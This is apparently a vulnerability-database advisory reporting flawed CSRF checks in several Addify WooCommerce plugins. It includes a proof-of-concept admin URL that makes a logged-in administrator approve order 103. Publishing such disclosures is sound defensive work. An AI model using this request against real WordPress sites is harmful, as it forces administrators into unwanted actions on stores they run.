Lucene search

K
wpexploitWpvulndbWPEX-ID:2C2379D0-E373-4587-A747-429D7EE8F6CC
HistoryJul 10, 2023 - 12:00 a.m.

Multiple Plugins from Addify - Multiple CSRF

2023-07-1000:00:00
wpvulndb
75
addify
plugin
unauthorized approval
order id 103
wordpress
csrf
exploit

EPSS

0.001

Percentile

30.5%

The plugins have flawed CSRF checks in various places, which could allow attackers to make logged in users perform unwanted actions

[addify-order-approval-woocommerce] - To make a logged in admin approve the order with ID 103

https://example.com/wp-admin/edit.php?s=&post_status=all&post_type=shop_order&action=approved&m=0&_customer_user=&paged=1&post%5B%5D=103&action2=approved

EPSS

0.001

Percentile

30.5%

Related for WPEX-ID:2C2379D0-E373-4587-A747-429D7EE8F6CC